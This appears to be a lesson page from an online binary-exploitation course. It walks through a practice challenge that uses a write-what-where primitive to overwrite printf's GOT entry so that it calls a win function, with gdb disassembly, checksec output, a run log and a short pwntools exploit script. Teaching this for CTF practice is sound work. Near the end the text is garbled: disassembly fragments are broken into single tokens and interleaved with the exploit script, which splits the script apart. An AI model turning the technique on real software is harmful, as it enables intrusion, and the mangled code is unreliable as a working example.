Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. www-var
6 min read

Variable Overwrite

This challenge introduces the newest category of exploits: write-what-where. We don't often see write-what-where exploits as independent exploits, but rather as a stepping stone to allow another exploit.

The most common use case of a variable overwrite is to write to the GOT (Global Offset Table). This section assumes you've read The PLT and GOT; the short version is that every dynamically-linked libc function is called through its GOT entry — a writable function pointer. If we can write to that entry, we redirect the call.

This leads to a powerful exploit known as a GOT Overwrite. Given a write-what-where primitive, we can overwrite the address a library function points to. For example, given a function win, we can overwrite the GOT entry for printf to point at win — so every time printf is called, it actually calls win!

The only protection against this is RELRO. Only Full RELRO marks the GOT read-only; the default Partial RELRO leaves the GOT writable, so a write-what-where still reaches it. (See The PLT and GOT for all three RELRO levels.)

Finding the Vulnerability

If we use gdb to look at main, we notice that there are no buffer overflow vulnerabilities.

nasm
10x0000000000401605 <+255>:	lea    rax,[rbp-0x30]
20x0000000000401609 <+259>:	mov    esi,0x1e

We are allowed to write 30 bytes into a buffer of size 0x28 (notice there's something at rbp-0x8). Both times data is inputted, it's converted to a long:

nasm
10x0000000000401616 <+272>:	lea    rax,[rbp-0x30]
20x000000000040161a <+276>:	mov    rdi,rax

By running the challenge, we notice we're allowed to write 30 bytes to a location of our choosing. We confirm this here:

nasm
10x0000000000401668 <+354>:	mov    rax,QWORD PTR [rip+0x2a21]        # 0x404090 <g_addr>
20x000000000040166f <+361

This takes whatever's at g_val and writes it to the dereferenced location g_addr. This is the write-what-where capability we're seeking!

It's never this easy to write-what-where. We often must hunt gadgets that produce this ability. We'll experiment with this in Using Gadgets to Write-What-Where.

We're allowed to write anywhere that's marked as writable. This means we cannot write to the text segment since it's strictly marked read-only. checksec shows that only Partial RELRO is on:

$ checksec chall[*] './chall'    Arch:       amd64-64-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX enabled    PIE:        No PIE (0x400000)    Stripped:   No

This means we can do a GOT Overwrite!

Performing a GOT Overwrite

We're provided the ability to write a value anywhere. We're allowed to write 30 bytes at our chosen location. In performing a GOT overwrite, we only need to write 8: the address of win.

First, let's get the value we want to write (the address of win):

gdb
gef➤ info functions winAll functions matching regular expression "win":Non-debugging symbols:0x00000000004014f0  win

Then, we need where we want to write. This is the GOT address for printf:

gdb
gef➤ gotGOT protection: Partial RelRO | GOT functions: 7[0x404000] putchar@GLIBC_2.2.5  →  0x401036[0x404008] puts@GLIBC_2.2.5  →  0x401046[0x404010] setbuf@GLIBC_2.2.5  →  0x401056[0x404018] printf@GLIBC_2.2.5  →  0x401066[0x404020] fgets@GLIBC_2.2.5  →  0x401076[0x404028] atol@GLIBC_2.2.5  →  0x401086[0x404030] exit@GLIBC_2.2.5  →  0x401096

Here, the address of printf in the GOT is 0x404018.

Why did I choose printf?
In order for this exploit to work, the binary needs to call the function we overwrite for it to execute win. The easiest functions I see that get called are puts and printf.

Note that I can't choose to overwrite lose. lose is not a library function, meaning it doesn't have a PLT nor a GOT entry.

Therefore, all we need to is input these and we'll get a successful run! Note that atol does not accept hexadecimal, so we need to convert these to integers.

python3
>>> 0x4014f04199664>>> 0x4040184210712>>> exit()

Then, just put them in the challenge!

www-var
$ ./challYour goal is to modify the variable @ 0x7ffcbc886268to equal 0xdeadc0de.This is a write-what-where exercise, and will not be trivial. This primitiveis typically leveraged to overwrite GOT entries (or any writable region ofmemory in the binary).0x7ffcbc886240: 0x0000000000000000 0x00000000000000000x7ffcbc886250: 0x0000000000000000 0x00000000000000000x7ffcbc886260: 0x0000000000000000 0x00000000deadbeefWhat do you want to write? 4199664Where would you like to write it? 4210712Congrats! You successfully overwrote the variable with the correct value.... Many Times ...Congrats! You successfully overwrote the variable with the correct value.You did not modify the target...Are you sure you wrote to the right place? Try again!

Two important things to notice:

  1. It prints many times. This is because print_stack uses printf many times, which calls win each time printf is used.
  2. It still prints lose! We didn't actually modify the variable as expected per the challenge. This means the code should still print lose.

This is the GOT overwrite. This can also be done using pwntools pretty easily:

exploit.py
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4p = process()

In this solution, elf.sym.win are hex values (i.e., numbers), which are converted to strings and then encoded as bytes.

30x000000000040160e <+264>: mov rdi,rax
40x0000000000401611 <+267>: call 0x401070 <fgets@plt>
3
0x000000000040161d
<
+
279
>
: call
0x401080
<
atol@plt
>
>
: mov
rdx
,QWORD PTR
[
rip
+
0x2a22
]
#
0x404098
<
g_val
>
30x0000000000401676 <+368>: mov QWORD PTR [rax],rdx
5
6p.sendline(str(elf.sym.win).encode())
7p.sendline(str(elf.got.printf).encode())
8p.interactive()